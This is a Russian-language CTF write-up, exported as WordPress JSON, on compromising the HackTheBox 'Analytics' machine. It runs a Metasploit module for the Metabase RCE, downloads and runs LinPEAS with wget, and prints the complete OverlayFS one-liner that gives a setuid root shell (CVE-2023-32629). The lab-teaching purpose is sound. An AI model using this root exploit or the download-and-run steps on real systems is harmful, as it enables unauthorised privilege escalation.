{"id":360261,"date":"2024-05-21T00:49:43","date_gmt":"2024-05-21T00:49:43","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=360261"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=360261","title":{"rendered":"<span>HTB Analytics. \u041f\u043e\u0432\u044b\u0448\u0430\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e CVE-2023-32629<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u041f\u0440\u0438\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e, \u043a\u0443\u043b\u0445\u0430\u0446\u043a\u0435\u0440\u044b. \u0421\u0435\u0433\u043e\u0434\u044f\u0448\u043d\u0438\u0439 \u0440\u0430\u0439\u0442 \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d \u0432\u0437\u043b\u043e\u043c Linux &#8212; \u043c\u0430\u0448\u0438\u043d\u044b \u0441 <strong>HackTheBox<\/strong> \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c <strong>Analytics.<\/strong><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f39\/7c8\/73e\/f397c873e1cb67d4770b1c992e6c84f2.png\" width=\"1024\" height=\"576\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f39\/7c8\/73e\/f397c873e1cb67d4770b1c992e6c84f2.png\"\/><\/figure>\n<blockquote>\n<p><strong>\u0414\u0438\u0441\u043a\u043b\u0435\u0439\u043c\u0435\u0440:  \u0432\u0441\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u0438 \u0442\u0435\u0445\u043d\u0438\u043a\u0438, \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u0441\u0442\u0430\u0442\u044c\u0435, \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u044b \u0432 \u0443\u0447\u0435\u0431\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445<\/strong><\/p>\n<\/blockquote>\n<h3>\u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0430<\/h3>\n<p>\u041a\u0430\u043a \u0432\u0441\u0435\u0433\u0434\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u043c \u0441\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432.<\/p>\n<pre><code>nmap -sC -sV -Pn -p- -T4 10.10.11.233<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/bca\/f48\/913\/bcaf4891389d0c01e11c5db9f3caebea.png\" width=\"852\" height=\"247\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/bca\/f48\/913\/bcaf4891389d0c01e11c5db9f3caebea.png\"\/><\/figure>\n<h3>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Metasploit<\/h3>\n<p>\u041f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u043d\u0430 80 \u043f\u043e\u0440\u0442\u0443 \u0432\u0438\u0441\u0438\u0442 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0438\u0441. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u0432\u0435\u0431 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/15c\/812\/87c\/15c81287ce0f25565edb2e85975b17a2.png\" width=\"669\" height=\"597\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/15c\/812\/87c\/15c81287ce0f25565edb2e85975b17a2.png\"\/><\/figure>\n<p>\u042d\u0442\u043e Metabase. \u041f\u043e\u0441\u0435\u0440\u0444\u0438\u0432 \u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u043e\u0440\u0430\u0445 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u043d\u0430\u0439\u0434\u0435\u043c \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u0435\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 <a href=\"https:\/\/51.158.55.107\/cve-2023-38646-metabase-pre-auth-rce-866220684396?__cpo=aHR0cHM6Ly9pbmZvc2Vjd3JpdGV1cHMuY29t\" rel=\"noopener noreferrer nofollow\"><strong>CVE-2023-38646<\/strong><\/a> \u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430. \u041a\u0430\u043a \u0440\u0430\u0437 \u0442\u043e, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u043a\u0430\u043a \u043d\u0430 <a href=\"https:\/\/51.158.55.107\/securezeron\/CVE-2023-38646?source=post_page-----bd3421cba76d--------------------------------&amp;__cpo=aHR0cHM6Ly9naXRodWIuY29t\" rel=\"noopener noreferrer nofollow\"><strong>GitHub<\/strong><\/a>, \u0442\u0430\u043a \u0438 \u0432 <strong>Metasploit<\/strong>. \u041b\u0438\u0447\u043d\u043e \u044f \u0437\u0430\u043f\u0443\u0449\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0432 <strong>Metasploit<\/strong>:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/bb7\/beb\/82e\/bb7beb82ed8ef692cb58e02bbf1b031e.png\" width=\"736\" height=\"450\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/bb7\/beb\/82e\/bb7beb82ed8ef692cb58e02bbf1b031e.png\"\/><\/figure>\n<pre><code>use exploit\/linux\/http\/metabase_setup_token_rce<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/be2\/82b\/966\/be282b966d5ebfae7119023091204a19.png\" width=\"823\" height=\"266\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/be2\/82b\/966\/be282b966d5ebfae7119023091204a19.png\"\/><\/figure>\n<p>\u0414\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u043a\u0438\u043d\u0443\u0442\u044c \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0443 <strong>LinPEAS<\/strong> \u0434\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u043d\u0430 \u043d\u0430\u0448\u0435\u0439 \u041e\u0421 <code>python3 http.server<\/code> \u0438 \u0447\u0435\u0440\u0435\u0437 <code>wget<\/code> \u0441\u043a\u0430\u0447\u0430\u0435\u043c \u043d\u0443\u0436\u043d\u044b\u0439 \u043d\u0430\u043c \u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n<pre><code>python3 -m http.server 80<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/892\/4fe\/bd4\/8924febd4fd01e9b340550b35f964938.png\" width=\"633\" height=\"108\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/892\/4fe\/bd4\/8924febd4fd01e9b340550b35f964938.png\"\/><\/figure>\n<pre><code>wget http:\/\/10.10.16.68\/linpeas.sh<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/1b9\/9f6\/d8f\/1b99f6d8f3d7bf46d0f86416d68b92d7.png\" width=\"787\" height=\"175\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/1b9\/9f6\/d8f\/1b99f6d8f3d7bf46d0f86416d68b92d7.png\"\/><\/figure>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c <strong>LinPEAS<\/strong>:<\/p>\n<pre><code>bash .\/linpeas.sh<\/code><\/pre>\n<p>\u041e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u0432, \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0430\u0439\u0434\u0435\u0442 \u043a\u0440\u0435\u0434\u044b \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043f\u043e SSH:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/cf1\/fee\/484\/cf1fee484ecf2b71020424f239dbb722.png\" width=\"725\" height=\"107\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/cf1\/fee\/484\/cf1fee484ecf2b71020424f239dbb722.png\"\/><\/figure>\n<p>\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u043c\u0441\u044f \u043a \u043c\u0430\u0448\u0438\u043d\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>ssh<\/code>:<\/p>\n<pre><code>ssh metalytics@10.10.11.233<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/0e4\/cde\/3ef\/0e4cde3ef096c12519214bdd0bd7eb58.png\" width=\"742\" height=\"433\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/0e4\/cde\/3ef\/0e4cde3ef096c12519214bdd0bd7eb58.png\"\/><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/56c\/ed0\/a84\/56ced0a848a2d38a544e74487b49db19.png\" width=\"810\" height=\"204\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/56c\/ed0\/a84\/56ced0a848a2d38a544e74487b49db19.png\"\/><\/figure>\n<p>\u0417\u0434\u0435\u0441\u044c \u0436\u0435 \u0431\u0443\u0434\u0435\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0444\u043b\u0430\u0433 <strong>user.txt<\/strong><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/21c\/f15\/893\/21cf158933ba06c18ab89a6c409e3775.png\" width=\"768\" height=\"279\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/21c\/f15\/893\/21cf158933ba06c18ab89a6c409e3775.png\"\/><\/figure>\n<h3>\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439<\/h3>\n<p>\u0422\u043e\u0447\u043d\u043e \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c <code>python3 http.server<\/code>, \u043f\u0435\u0440\u0435\u043a\u0438\u043d\u0435\u043c \u0447\u0435\u0440\u0435\u0437 <code>wget<\/code> <strong>LinPEAS<\/strong> \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0435\u0433\u043e \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/fa3\/710\/e19\/fa3710e19318ffa82b147a166ed5eff8.png\" width=\"785\" height=\"192\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/fa3\/710\/e19\/fa3710e19318ffa82b147a166ed5eff8.png\"\/><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/180\/d6f\/653\/180d6f653f57703b2bdc3eb0cb95a20f.png\" width=\"819\" height=\"190\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/180\/d6f\/653\/180d6f653f57703b2bdc3eb0cb95a20f.png\"\/><\/figure>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043c \u0432\u0435\u0440\u0441\u0438\u044e Ubuntu \u0438 \u043d\u0430\u0439\u0434\u0435\u043c \u043f\u043e\u0434 \u043d\u0435\u0435 <a href=\"https:\/\/github.com\/g1vi\/CVE-2023-2640-CVE-2023-32629\" rel=\"noopener noreferrer nofollow\">\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c<\/a> \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u041b\u0438\u0431\u043e \u043c\u043e\u0436\u043d\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u041e\u0421 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>cat \/etc\/os-release<\/code>. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f\u043c\u0438 \u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0443\u043b\u044f <strong>OverlayFS<\/strong> \u0432 \u044f\u0434\u0440\u0435 Linux. <strong>OverlayFS<\/strong> &#8212; \u044d\u0442\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u043d\u044b\u043c \u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043e\u043c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0438\u0437-\u0437\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u043b\u0435\u0433\u043a\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a. \u0421\u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0441 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0435\u0435 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439:<\/p>\n<pre><code>unshare -rm sh -c \"mkdir l u w m &amp;&amp; cp \/u*\/b*\/p*3 l\/;setcap cap_setuid+eip l\/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &amp;&amp; touch m\/*;\" &amp;&amp; u\/python3 -c 'import os;os.setuid(0);os.system(\"cp \/bin\/bash \/var\/tmp\/bash &amp;&amp; chmod 4755 \/var\/tmp\/bash &amp;&amp; \/var\/tmp\/bash -p &amp;&amp; rm -rf l m u w \/var\/tmp\/bash\")'<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/ee7\/f46\/fac\/ee7f46fac0ef86112d9d1b1184bb08f9.png\" width=\"821\" height=\"162\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/ee7\/f46\/fac\/ee7f46fac0ef86112d9d1b1184bb08f9.png\"\/><\/figure>\n<p>\u041c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u0430!<\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/774184\/\"> https:\/\/habr.com\/ru\/articles\/774184\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u041f\u0440\u0438\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e, \u043a\u0443\u043b\u0445\u0430\u0446\u043a\u0435\u0440\u044b. \u0421\u0435\u0433\u043e\u0434\u044f\u0448\u043d\u0438\u0439 \u0440\u0430\u0439\u0442 \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d \u0432\u0437\u043b\u043e\u043c Linux &#8212; \u043c\u0430\u0448\u0438\u043d\u044b \u0441 <strong>HackTheBox<\/strong> \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c <strong>Analytics.<\/strong><\/p>\n<figure class=\"full-width\"><\/figure>\n<blockquote>\n<p><strong>\u0414\u0438\u0441\u043a\u043b\u0435\u0439\u043c\u0435\u0440:  \u0432\u0441\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u0438 \u0442\u0435\u0445\u043d\u0438\u043a\u0438, \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u0441\u0442\u0430\u0442\u044c\u0435, \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u044b \u0432 \u0443\u0447\u0435\u0431\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445<\/strong><\/p>\n<\/blockquote>\n<h3>\u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0430<\/h3>\n<p>\u041a\u0430\u043a \u0432\u0441\u0435\u0433\u0434\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u043c \u0441\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432.<\/p>\n<pre><code>nmap -sC -sV -Pn -p- -T4 10.10.11.233<\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<h3>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Metasploit<\/h3>\n<p>\u041f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u043d\u0430 80 \u043f\u043e\u0440\u0442\u0443 \u0432\u0438\u0441\u0438\u0442 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0438\u0441. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u0432\u0435\u0431 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u042d\u0442\u043e Metabase. \u041f\u043e\u0441\u0435\u0440\u0444\u0438\u0432 \u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u043e\u0440\u0430\u0445 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u043d\u0430\u0439\u0434\u0435\u043c \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u0435\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 <a href=\"https:\/\/51.158.55.107\/cve-2023-38646-metabase-pre-auth-rce-866220684396?__cpo=aHR0cHM6Ly9pbmZvc2Vjd3JpdGV1cHMuY29t\" rel=\"noopener noreferrer nofollow\"><strong>CVE-2023-38646<\/strong><\/a> \u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430. \u041a\u0430\u043a \u0440\u0430\u0437 \u0442\u043e, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u043a\u0430\u043a \u043d\u0430 <a href=\"https:\/\/51.158.55.107\/securezeron\/CVE-2023-38646?source=post_page-----bd3421cba76d--------------------------------&amp;__cpo=aHR0cHM6Ly9naXRodWIuY29t\" rel=\"noopener noreferrer nofollow\"><strong>GitHub<\/strong><\/a>, \u0442\u0430\u043a \u0438 \u0432 <strong>Metasploit<\/strong>. \u041b\u0438\u0447\u043d\u043e \u044f \u0437\u0430\u043f\u0443\u0449\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0432 <strong>Metasploit<\/strong>:<\/p>\n<figure class=\"full-width\"><\/figure>\n<pre><code>use exploit\/linux\/http\/metabase_setup_token_rce<\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<p>\u0414\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u043a\u0438\u043d\u0443\u0442\u044c \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0443 <strong>LinPEAS<\/strong> \u0434\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u043d\u0430 \u043d\u0430\u0448\u0435\u0439 \u041e\u0421 <code>python3 http.server<\/code> \u0438 \u0447\u0435\u0440\u0435\u0437 <code>wget<\/code> \u0441\u043a\u0430\u0447\u0430\u0435\u043c \u043d\u0443\u0436\u043d\u044b\u0439 \u043d\u0430\u043c \u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n<pre><code>python3 -m http.server 80<\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<pre><code>wget http:\/\/10.10.16.68\/linpeas.sh<\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c <strong>LinPEAS<\/strong>:<\/p>\n<pre><code>bash .\/linpeas.sh<\/code><\/pre>\n<p>\u041e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u0432, \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0430\u0439\u0434\u0435\u0442 \u043a\u0440\u0435\u0434\u044b \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043f\u043e SSH:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u043c\u0441\u044f \u043a \u043c\u0430\u0448\u0438\u043d\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>ssh<\/code>:<\/p>\n<pre><code>ssh metalytics@10.10.11.233<\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<figure class=\"full-width\"><\/figure>\n<p>\u0417\u0434\u0435\u0441\u044c \u0436\u0435 \u0431\u0443\u0434\u0435\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0444\u043b\u0430\u0433 <strong>user.txt<\/strong><\/p>\n<figure class=\"full-width\"><\/figure>\n<h3>\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439<\/h3>\n<p>\u0422\u043e\u0447\u043d\u043e 